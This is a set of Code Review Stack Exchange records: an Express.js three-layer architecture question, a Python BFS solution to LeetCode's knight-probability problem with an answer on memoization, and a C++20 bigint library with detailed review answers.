"CreationDate": "2021-05-04T07:52:56.547",
"Id": "260329",
"Score": "4",
"Tags": [
"python"
],
"Title": "Is my breadth-first search function any good? (Python demo included!)"
}
|
260329
|
<p>My question is have i gotten the three-layered architecture right with error handling etc. I have a webpage containing different resources. The code works but I am not sure if have structured it correct.</p>
<p>This is a function located in the BLL</p>
<pre><code>createPost: function (accountId, title, body, callback) {
postValidator.validatePost(title, body, function (error) {
if (error) {
callback(error, null)
} else {
postRepository.createPost(title, body, accountId, function (error, postId) {
if (error) {
callback(new BusinessError(BusinessErrorType.DATA_LAYER_ERROR, "Error creating post"), null)
} else {
callback(null, postId)
}
})
}
})
}
</code></pre>
<p>Basically it sends a request to create desired post in the DL if the DL returns the error value the BLL will return it to the PL. My function in the PL that communicates with the BLL:</p>
<pre><code>router.post("/new", function (request, response) {
const title = request.body.title
const body = request.body.body
const account = request.session.account
loginManager.isLoggedIn(request.session.login, function (error, IsLoggedIn) {
if (IsLoggedIn) {
postManager.createPost(account.id, title, body, function (error, createdPostId) {
if (error) {
response.render("new-post.hbs", { title: title, body: body, notification: error.description, notificationType: "danger" })
} else {
response.redirect("/posts/" + createdPostId)
}
})
} else {
response.render("accounts-sign-in.hbs", { notification: error.description, notificationType: "danger" })
}
})
})
</code></pre>
<p>Is this the correct way to go about?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:17:38.940",
"Id": "513888",
"Score": "0",
"body": "Welcome to Code Review. I edited your javascript snippets, please include the javascript framework you are using if there is one with the corresponding tag."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T09:43:25.113",
"Id": "260331",
"Score": "2",
"Tags": [
"javascript",
"node.js",
"mvc",
"express.js"
],
"Title": "Right structure, three-layered architecture webdevelopment"
}
|
260331
|
<p>I'm learning competitive programming and came across this question on LeetCode : <a href="https://leetcode.com/problems/knight-probability-in-chessboard/" rel="nofollow noreferrer">688. Knight Probability in Chessboard</a></p>
<blockquote>
<p>On an n x n chessboard, a knight starts at the cell (row, column) and
attempts to make exactly k moves. The rows and columns are 0-indexed,
so the top-left cell is (0, 0), and the bottom-right cell is (n - 1, n-1).</p>
<p>A chess knight has eight possible moves it can make, each move is two cells in a cardinal direction,
then one cell in an orthogonal direction. Each time the knight is to move, it chooses one of eight > possible moves uniformly at random (even if the piece would go off the chessboard) and moves there.</p>
<p>The knight continues moving until it has made exactly k moves or has moved off the chessboard.</p>
<p>Return the probability that the knight remains on the board after it has stopped moving.</p>
</blockquote>
<p>I wrote following BFS solution for it</p>
<pre><code>from collections import deque
class Solution:
def knightProbability(self, N: int, K: int, r: int, c: int) -> float:
i = 0
pos_moves = deque([[r, c, 1]]) # (r, c, prob)
self.moves_memo = {}
while i < K and len(pos_moves):
increase_i_after = len(pos_moves)
for j in range(increase_i_after):
move = pos_moves.popleft()
for next_move in self.get_pos_moves(N, move[0], move[1], move[2]):
pos_moves.append((next_move[0], next_move[1], next_move[2]))
i += 1
ans = 0
for m in pos_moves:
ans += m[2]
return ans/len(pos_moves) if len(pos_moves) > 0 else 0
def get_pos_moves(self, n, r, c, prev_p):
# Returns a list of possible moves
if (r, c) in self.moves_memo:
pos_moves = self.moves_memo[(r, c)]
else:
pos_moves = deque([])
if r+2 < n:
if c+1 < n:
pos_moves.append([r+2, c+1, 0])
if c-1 >= 0:
pos_moves.append([r+2, c-1, 0])
if r+1 < n:
if c+2 < n:
pos_moves.append([r+1, c+2, 0])
if c-2 >= 0:
pos_moves.append([r+2, c-2, 0])
if r-2 >= 0:
if c+1 < n:
pos_moves.append([r-2, c+1, 0])
if c-1 >= 0:
pos_moves.append([r-2, c-1, 0])
if r-1 >= 0:
if c+2 < n:
pos_moves.append([r-1, c+2, 0])
if c-2 >= 0:
pos_moves.append([r-1, c-2, 0])
self.moves_memo[(r, c)] = pos_moves
l = len(pos_moves)
if l == 0:
return pos_moves
else:
for move in pos_moves:
move[2] = prev_p*l/8
return pos_moves
</code></pre>
<p>For n = 8, K = 30, r = 6, c = 4, this solution exceeds time limits. I am not able to figure out why is this solution less time efficient than <a href="https://leetcode.com/problems/knight-probability-in-chessboard/discuss/356434/Super-simple-recursive-Python-solution-beats-98" rel="nofollow noreferrer">this</a>. I'm looking for reasons why my code is 'slow'. Thank you!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T23:30:54.750",
"Id": "513956",
"Score": "1",
"body": "At a high level, the linked answer is faster than yours because of `@functools.lru_cache` -- in other words, [memoization](https://en.wikipedia.org/wiki/Memoization). During the computation, `travels()` is called many times -- sometimes with the same arguments as a prior call. Whenever that happens, the memoized-function can return immediately, without repeating the same calculation again. Your BFS code, by contrast, is doing a lot of repetitive work."
}
] |
[
{
"body": "<p>Both answers basically try all k-length paths and count the number of paths that remain on the board compared to all possible paths.</p>\n<p>A major difference between your answer and the recursive solution you link to is what is cached (i.e., memoized). You code caches the possible moves from a square. The linked code caches partial solutions. That is, the cache key is the position on the board and the number of moves remaining.</p>\n<p>Consider starting at (0,0) with k steps. One path might start (0,0,k)->(1,2,k-1)->(3,3,k-2),.... When calculating the path that starts with (0,0,k)->(2,1,k-1)->(3,3,k-2), the linked code has already calculated and cached the partial solution for (3,3,k-2) and doesn't need to calculate all those paths again. In contrast, you solution only caches the legal moves from (3,3) and does need to go through all the paths again.</p>\n<p>Note, the linked answer could be sped up significantly by using the symmetry of the board to cache partial solutions for reflected and rotated squares. For the paths mentioned above, the solution for (2,1,k-1) and (1,2,k-1) are the same because of board symmetry. For each square on the diagonal or horizontal/vertical centerlines (if any) there are 3 squares with the same solutions due to symmetry. For other squares there are 7 other equivalent squares. A caching algorithm that uses this symmetry could be much faster.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T07:28:48.913",
"Id": "260361",
"ParentId": "260333",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260361",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T10:55:08.710",
"Id": "260333",
"Score": "4",
"Tags": [
"python",
"programming-challenge",
"time-limit-exceeded"
],
"Title": "Calculate probability that knight does not attempt to leave chessboard after at most k random moves (LeetCode #688)"
}
|
260333
|
<p>I made this over the course of a week and a half, to use it for some Project Euler problems. My goal was to make something relatively efficient that could be used as easily as a builtin type. I also tried to make the code fully portable.</p>
<p>I used c++20 because of the spaceship operator, implicit comparisons and the constexpr std::vector/std::string features. <s>When the latter will be actually implemented I will make the user defined literal <code>operator"" _bi</code> consteval, so that bigint literals will be computed at compile time.</s> <strong>EDIT:</strong> I checked and apparently, even if vectors will become constexpr, they also will have to be destructed at compile-time, which means no pre-initialization of literals. :-(</p>
<p>Internally I used base 256, which means that the I/O functions are not trivial. Where I needed to use the base number in the code I instead used the BASE global constant, but changing the value from 256 to something else will probably break the program.</p>
<p><code>stobi</code> (string to bigint) tries to behave exactly as <code>std::stoi</code>, minus the "chose the base" feature. I didn't implement it as a constructor because I wanted to encourage the use of <code>operator"" _bi</code>.</p>
<p>The arithmetic operators use "grade school" algorithms, and were inspired by the ones found in <a href="https://secure-media.collegeboard.org/apc/ap01.pdf.lr_7928.pdf" rel="nofollow noreferrer">The Large Integer Case Study in C++.pdf</a>, though they differ in some ways (also division was done entirely by me).</p>
<p><strong>WARNING:</strong> don't use GCC 11.1 to compile this, the compilation will stop with an internal compiler error because of <a href="https://gcc.gnu.org/bugzilla/show_bug.cgi?id=100367" rel="nofollow noreferrer">this bug</a>. Use GCC 10 instead, or maybe GCC 11.2 when it will come out.</p>
<pre><code>#include <iostream>
#include <vector>
#include <string>
#include <cmath>
#include <stdexcept>
#include <cctype>
#include <algorithm>
#include <limits>
#include <compare>
inline const unsigned int BASE=256;
inline const unsigned int DIGITS10BASE=3;
template<typename T>
constexpr unsigned char abs_c(const T &n){
if(n<0){
return -n;
}
return n;
}
class bigint {
std::vector<unsigned char> container;
bool negative=false;
template<typename T>
void constructFromSignInt(T n);
template<typename T>
void constructFromUnsignInt(T n);
template<typename T>
void constructFromFloat(T n);
unsigned char getDigit(unsigned int &k) const{
if(k>=container.size()){
return 0;
}
return container[k];
}
void normalize(){
container.erase(std::find_if(container.rbegin(),container.rend(),[](const unsigned char &d){return d!=0;}).base(),container.end());
container.shrink_to_fit();
if(container.size()==0){
container.push_back(0);
negative=false;
}
return;
}
public:
// Constructors
bigint() : container{0} {}
bigint(const bool &n) : container{n} {}
bigint(const unsigned char &n) : container{n} {}
bigint(const unsigned short &n) {constructFromUnsignInt<unsigned short>(n);}
bigint(const unsigned int &n) {constructFromUnsignInt<unsigned int>(n);}
bigint(const unsigned long &n) {constructFromUnsignInt<unsigned long>(n);}
bigint(const unsigned long long &n) {constructFromUnsignInt<unsigned long long>(n);}
bigint(const signed char &n) : container{abs_c<signed char>(n)}, negative{n<0} {}
bigint(const char &n) : container{abs_c<char>(n)}, negative{n<0} {}
bigint(const short &n) {constructFromSignInt<short>(n);}
bigint(const int &n) {constructFromSignInt<int>(n);}
bigint(const long &n) {constructFromSignInt<long>(n);}
bigint(const long long &n) {constructFromSignInt<long long>(n);}
explicit bigint(const float &n) {constructFromFloat<float>(n);}
explicit bigint(const double &n) {constructFromFloat<double>(n);}
explicit bigint(const long double &n) {constructFromFloat<long double>(n);}
// Unary arithmetic operators
bigint operator+() const {return *this;}
inline bigint operator-() const;
friend inline bigint biabs(bigint n) {n.negative=false; return n;}
// Comparison operators
friend bool operator==(const bigint &a,const bigint &b);
friend std::strong_ordering operator<=>(const bigint &a,const bigint &b);
// Compound assignment operators
bigint& operator+=(const bigint &b);
bigint& operator-=(const bigint &b);
bigint& operator*=(const bigint &b);
bigint& operator/=(const bigint &b);
bigint& operator%=(const bigint &b);
// Increment/decrement
inline bigint& operator++();
inline bigint& operator--();
bigint operator++(int) {bigint old=*this; ++*this; return old;}
bigint operator--(int) {bigint old=*this; --*this; return old;}
// Conversion functions
inline explicit operator bool() const;
explicit operator std::string() const;
friend bigint stobi(const std::string &n);
// Debug
void dump() const{
if(negative){
std::cout << "-_";
}
for(int con=container.size()-1; con>=0; con--){
std::cout << +container[con] << "_";
}
std::cout << std::endl;
}
};
bigint stobi(const std::string &str){
bigint res;
std::string::const_iterator msd=std::find_if_not(str.begin(),str.end(),[](const char &d){return std::isspace(d);});
if(*msd=='+'){
msd++;
} else if(*msd=='-'){
res.negative=true;
msd++;
}
if(!std::isdigit(*msd)){
throw std::invalid_argument("stobi");
}
msd=std::find_if(msd,str.end(),[](const char &d){return d!='0';});
if(!std::isdigit(*msd)){
res.negative=false;
return res;
}
std::string::const_iterator alsd=std::find_if_not(msd,str.end(),[](const char &d){return std::isdigit(d);});
res.container.clear();
std::string n(msd,alsd);
while(n.size()>DIGITS10BASE || std::stoul(std::string(n,0,DIGITS10BASE))>=BASE){
std::string quot;
unsigned int con=DIGITS10BASE;
unsigned int partdivid=std::stoi(std::string(n,0,DIGITS10BASE));
if(partdivid<BASE){
partdivid=partdivid*10+(n[con]-'0');
con+=1;
}
while(con<n.size()){
quot+=partdivid/BASE+'0';
partdivid=(partdivid%BASE)*10+(n[con]-'0');
con++;
}
quot+=partdivid/BASE+'0';
partdivid%=BASE;
res.container.push_back(partdivid);
n=quot;
}
res.container.push_back(std::stoi(n));
return res;
}
bigint operator"" _bi (const char *n){
std::string str=n;
if(str.size()<=std::numeric_limits<unsigned long long>::digits10){
return bigint(std::stoull(str));
}
return stobi(str);
}
inline bigint bigint::operator-() const{
bigint flip=*this;
if(flip!=0_bi){
flip.negative=!(flip.negative);
}
return flip;
}
inline bigint& bigint::operator++(){
*this+=1_bi;
return *this;
}
inline bigint& bigint::operator--(){
*this-=1_bi;
return *this;
}
bool operator==(const bigint &a,const bigint &b){
if(a.negative!=b.negative){
return false;
}
return std::equal(a.container.begin(),a.container.end(),b.container.begin(),b.container.end());
}
std::strong_ordering operator<=>(const bigint &a,const bigint &b){
if(a.negative!=b.negative){
return b.negative<=>a.negative;
}
if(a.negative==true){
if(a.container.size()!=b.container.size()){
return b.container.size()<=>a.container.size();
}
return std::lexicographical_compare_three_way(b.container.rbegin(),b.container.rend(),a.container.rbegin(),a.container.rend());
}
if(a.container.size()!=b.container.size()){
return a.container.size()<=>b.container.size();
}
return std::lexicographical_compare_three_way(a.container.rbegin(),a.container.rend(),b.container.rbegin(),b.container.rend());
}
inline bigint::operator bool() const{
return *this!=0_bi;
}
inline bigint operator+(bigint a,const bigint &b){
a+=b;
return a;
}
inline bigint operator-(bigint a,const bigint &b){
a-=b;
return a;
}
inline bigint operator*(bigint a,const bigint &b){
a*=b;
return a;
}
inline bigint operator/(bigint a,const bigint &b){
a/=b;
return a;
}
inline bigint operator%(bigint a,const bigint &b){
a%=b;
return a;
}
bigint& bigint::operator+=(const bigint &b){
if(this==&b){
*this*=2_bi;
return *this;
}
if(b==0_bi){
return *this;
}
if(negative!=b.negative){
*this-=-b;
return *this;
}
unsigned int digits=container.size();
if(digits<b.container.size()){
digits=b.container.size();
}
unsigned int rem=0;
for(unsigned int k=0; k<digits; k++){
unsigned int sum=rem+getDigit(k)+b.getDigit(k);
rem=sum/BASE;
sum%=BASE;
if(k<container.size()){
container[k]=sum;
} else {
container.push_back(sum);
}
}
if(rem!=0){
container.push_back(rem);
}
return *this;
}
bigint& bigint::operator-=(const bigint &b){
if(this==&b){
*this=0_bi;
return *this;
}
if(b==0_bi){
return *this;
}
if(negative!=b.negative){
*this+=-b;
return *this;
}
if(biabs(*this)<biabs(b)){
*this=-(b-*this);
return *this;
}
unsigned int digits=container.size();
unsigned int rem=0;
for(unsigned int k=0; k<digits; k++){
int diff=container[k]-b.getDigit(k)-rem;
rem=0;
if(diff<0){
diff+=BASE;
rem=1;
}
container[k]=diff;
}
normalize();
return *this;
}
bigint& bigint::operator*=(const bigint &b){
if(*this==0_bi){
return *this;
}
if(b==0_bi){
*this=0_bi;
return *this;
}
bool sign=(negative!=b.negative);
bigint sum=0_bi;
for(unsigned int k=0; k<b.container.size(); k++){
bigint part;
part.container=std::vector<unsigned char>(k,0);
unsigned int rem=0;
for(unsigned int j=0; j<container.size() || rem!=0; j++){
unsigned int prod=(b.container[k]*getDigit(j))+rem;
rem=prod/BASE;
prod%=BASE;
part.container.push_back(prod);
}
sum+=part;
}
*this=sum;
negative=sign;
return *this;
}
bigint& bigint::operator/=(const bigint &b){
if(b==0_bi){
throw std::domain_error("Division by zero");
}
if(biabs(*this)<biabs(b)){
*this=0_bi;
return *this;
}
bool sign=(negative!=b.negative);
bigint quot,partdivid;
unsigned int con=b.container.size();
quot.container.clear();
partdivid.container=std::vector<unsigned char>(container.end()-con,container.end());
con++;
if(partdivid<b){
partdivid.container.insert(partdivid.container.begin(),*(container.end()-con));
con++;
}
while(con<=container.size()){
unsigned int partquot=0;
while(partdivid>=0_bi){
partdivid-=b;
partquot++;
}
partdivid+=b;
partquot--;
quot.container.push_back(partquot);
partdivid.container.insert(partdivid.container.begin(),*(container.end()-con));
partdivid.normalize();
con++;
}
unsigned int partquot=0;
while(partdivid>=0_bi){
partdivid-=b;
partquot++;
}
partquot--;
quot.container.push_back(partquot);
std::reverse(quot.container.begin(),quot.container.end());
*this=quot;
negative=sign;
return *this;
}
bigint& bigint::operator%=(const bigint &b){
*this=*this-(*this/b)*b;
return *this;
}
bigint::operator std::string() const{
std::string str;
if(*this==0_bi){
str+='0';
return str;
}
bigint n=*this;
n.negative=false;
while(n>0_bi){
str+=(n%10_bi).container[0]+'0';
n/=10_bi;
}
if(negative){
str+='-';
}
std::reverse(str.begin(),str.end());
return str;
}
std::ostream& operator<<(std::ostream &os, const bigint &n){
os << static_cast<std::string>(n);
return os;
}
std::istream& operator>>(std::istream &is, bigint &n){
std::string str;
is >> str;
try{
n=stobi(str);
} catch(std::invalid_argument&){
is.setstate(std::ios::failbit);
}
return is;
}
template<typename T>
void bigint::constructFromSignInt(T n){
if(n==0){
container.push_back(0);
return;
}
if(n<0){
negative=true;
n=-n;
}
while(n>0){
container.push_back(n%BASE);
n/=BASE;
}
return;
}
template<typename T>
void bigint::constructFromUnsignInt(T n){
if(n==0){
container.push_back(0);
return;
}
while(n>0){
container.push_back(n%BASE);
n/=BASE;
}
return;
}
template<typename T>
void bigint::constructFromFloat(T n){
if(n>-1 && n<1){
container.push_back(0);
return;
}
if(n<0){
negative=true;
n=-n;
}
n=std::floor(n);
while(n>0){
container.push_back(std::fmod(n,BASE));
n/=BASE;
}
return;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:27:45.280",
"Id": "513890",
"Score": "1",
"body": "If you use C++20 then write it with modules instead of a header."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:31:40.953",
"Id": "513891",
"Score": "0",
"body": "@ALX23z I'm a beginner so I didn't knew they existed. Has gcc already implemented them? Anyway, I'll look into it, thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:53:32.773",
"Id": "513900",
"Score": "0",
"body": "Why are you using base 256 instead of the largest integer word available?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:35:33.857",
"Id": "513905",
"Score": "0",
"body": "@JDługosz Because `unsigned char` gets automatically promoted to `int` during calculations, and that means no overflow problems."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:42:35.130",
"Id": "513908",
"Score": "1",
"body": "But if you held `uint32_t` values, you could do the arithmetic using `uint64_t` and it will be 4 times faster. The promotion is not automatic, but it is there for you to use."
}
] |
[
{
"body": "<pre><code> if(a.negative!=b.negative){\n return false;\n }\n return std::equal(a.container.begin(),a.container.end(),b.container.begin(),b.container.end());\n}\n</code></pre>\n<p>For the last line, doesn't <code>vector</code>'s <code>operator==</code> do what you need?</p>\n<p>So you end up just checking if all the data members are equal. So use the C++20 capability to autogenerate it.</p>\n<p>But you mentioned using C++20 in order to have <code><=></code> and that includes <code>==</code> when you have <code>strong_ordering</code>. So why do you define this at all?</p>\n<hr />\n<pre><code>unsigned int digits=container.size();\n</code></pre>\n<p>you mean <code>size_t</code>. Or why not use <code>auto</code>? And shouldn't it be <code>const</code>?</p>\n<pre><code>int diff=container[k]-b.getDigit(k)-rem;\n</code></pre>\n<p>you're mixing signed and unsigned arithmetic. Or rather, you're doing unsigned subtractions (promoted to unsigned int for the second subtract operation) and then casting that to signed. You'll have trouble if you change the type of the container's element (like making it the largest word you can handle).</p>\n<p>Why do you need to call <code>normalize()</code> at the end of the subtract function?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:54:46.953",
"Id": "513909",
"Score": "0",
"body": "I called `normalize()` at the end of the subtract function because the operations of the subtract function can leave leading zeroes in the number, which isn't a valid state and will break many things if not corrected."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T15:02:39.350",
"Id": "513911",
"Score": "0",
"body": "But `operator<=>` implicitly defines `operator==` only when it's defaulted. Defaulting `==` makes sense, and I will do it (thank you for the advice!), but I don't think I can default `<=>` too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T15:47:48.290",
"Id": "513914",
"Score": "0",
"body": "I believe @ThePirate42 is right. For default to work it needs to compare from the back (if more significant digits are at the back)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T17:06:32.333",
"Id": "513916",
"Score": "0",
"body": "Isn't the 3-way comparison for Less, Equal, or Greater? It just needs to be returning a `strong_ordering`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T19:36:33.643",
"Id": "513932",
"Score": "0",
"body": "@JDługosz \"If operator<=> is defaulted and operator== is not declared at all, then operator== is implicitly defaulted.\" From https://en.cppreference.com/w/cpp/language/default_comparisons. According to this site, operator<=> needs to be defaulted for operator== to be automatically generated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T19:42:37.437",
"Id": "513933",
"Score": "0",
"body": "Also, I tried to remove operator== declaration but the compilation failed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T14:09:36.937",
"Id": "514006",
"Score": "0",
"body": "So you need to `default` the `operator==` and it will check each data member for equality."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:01:28.267",
"Id": "260337",
"ParentId": "260335",
"Score": "2"
}
},
{
"body": "<ol>\n<li><p>Sort the includes to avoid loosing track.</p>\n</li>\n<li><p>Instead of manually providing <code>BASE</code> and <code>DIGITS10BASE</code>, use <a href=\"//en.cppreference.com/w/cpp/types/numeric_limits\" rel=\"nofollow noreferrer\"><code>std::numeric_limits<></code></a> to derive them as needed.</p>\n</li>\n<li><p>Generally, passing a scalar type (pointer type, any fundamental type) by constant reference is premature pessimization. It opens the can of aliasing, adds an indirection for access, and rarely saves space. A reference needs the same space as an ordinary pointer, and that's generally the granularity for passing arguments.</p>\n</li>\n<li><p>Never pass by mutable reference if you don't want to use it as an out-parameter. Doing so confuses and inconveniences everyone.</p>\n</li>\n<li><p>Only use <code>return;</code> if you need a premature exit from a void-returning function. Otherwise, it's clutter.</p>\n</li>\n<li><p>Your <code>abs_c()</code> is a bit error-prone. Use <a href=\"//en.cppreference.com/w/cpp/header/type_traits\" rel=\"nofollow noreferrer\"><code><type_traits></code></a> as needed and it will be broader and correct.</p>\n<pre><code>constexpr auto abs_c(std::integral auto i) noexcept {\n if constexpr(std::signed_integral<decltype(i)>)\n return std::make_unsigned_t<decltype(i)>(i < 0 ? -i : i);\n else\n return i < 0 ? -i : i;\n}\n</code></pre>\n</li>\n<li><p><code>unsigned char</code> is a bit small for a chunk-size. Using something bigger like <code>uint32_t</code> would give far more efficient code, unless you are on an 8-bit micro. As long as there is at least one bigger type, you can still convert to that before arithmetic to avoid wrap-around.</p>\n</li>\n<li><p>Remove all the ctors for smaller types. They won't signigicantly enhance efficiency, if at all, but clutter things up. Inlining <code>constructFromSignInt()</code>, <code>constructFromUnsignInt()</code>, and <code>constructFromFloat()</code> after that doubles the effect.</p>\n</li>\n<li><p>Construction from signed type could re-use construction from unsigned type after fixing negative values. Flip the sign after if needed.</p>\n</li>\n<li><p>The type for an index or byte-count is <code>std::size_t</code>. If you want to use something potentially smaller, make your own typedef <code>using size_type = whatever;</code> and use that. The type-name signals the use.</p>\n</li>\n<li><p><code>.normalize()</code> fails to ensure the invariant (container always has at least one element) if the reallocation triggered by pushing an element fails. If it doesn't, it wastes time and potentially results in a larger allocation than wnted. Move shrinking after achieving the final size and simplify.</p>\n<pre><code>void normalize() {\n while (container.size() && !container.back())\n container.pop_back();\n if (!container.size()) {\n container.emplace_back();\n negative = false;\n }\n container.shrink_to_fit();\n}\n</code></pre>\n</li>\n<li><p>Don't use <code>std::endl</code> but <code>\\n</code>. If flushing the stream is actually needed instead of a waste of time, use <code>std::flush</code> instead.</p>\n</li>\n<li><p>Defining short member-functions inline can save effort, and not only for the writer.</p>\n</li>\n</ol>\n<p>I'm sure there is more, but I'm done for now.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:05:39.070",
"Id": "514077",
"Score": "0",
"body": "What do you mean by \"sort includes\"? You mean alphabetically?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:23:10.597",
"Id": "514079",
"Score": "0",
"body": "Generally, there are three types of includes: 1. The header of the current TU. 2. The headers of libraries not part of the project. 3. Other headers from the project. The best way to assure independence for headers is putting (1) first. The best way to avoid your headers screwing around with others is putting (3) last. The best way to keep it maintainable (reduce diffs and keep it easily scannable by the mark 1 eyeball) is ordering each group with some universally applicable unambiguous and well-known rule. Alphabetically fits that. As an aside, some subdivide (2) into standard and others."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:24:14.363",
"Id": "514080",
"Score": "0",
"body": "If you use precompiled headers, that would be an exception due to mechanics and put above it all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:32:24.747",
"Id": "514081",
"Score": "0",
"body": "What is \"the current TU\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:38:49.693",
"Id": "514082",
"Score": "0",
"body": "Translation Unit is the technical term C and C++ use for the code fed to the compiler in one chunk, usually stored in a file. Though the `#include`s the preprocessor handles generally draw much more code in then is in just that one file. compiled TUs and libs and assorted tidbits are then fed to the linker and result in an executable or dynamic library."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T21:53:11.350",
"Id": "260350",
"ParentId": "260335",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260350",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:10:28.790",
"Id": "260335",
"Score": "6",
"Tags": [
"c++",
"beginner",
"c++20",
"bigint"
],
"Title": "Header only bigint library written in c++20"
}
|
260335
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.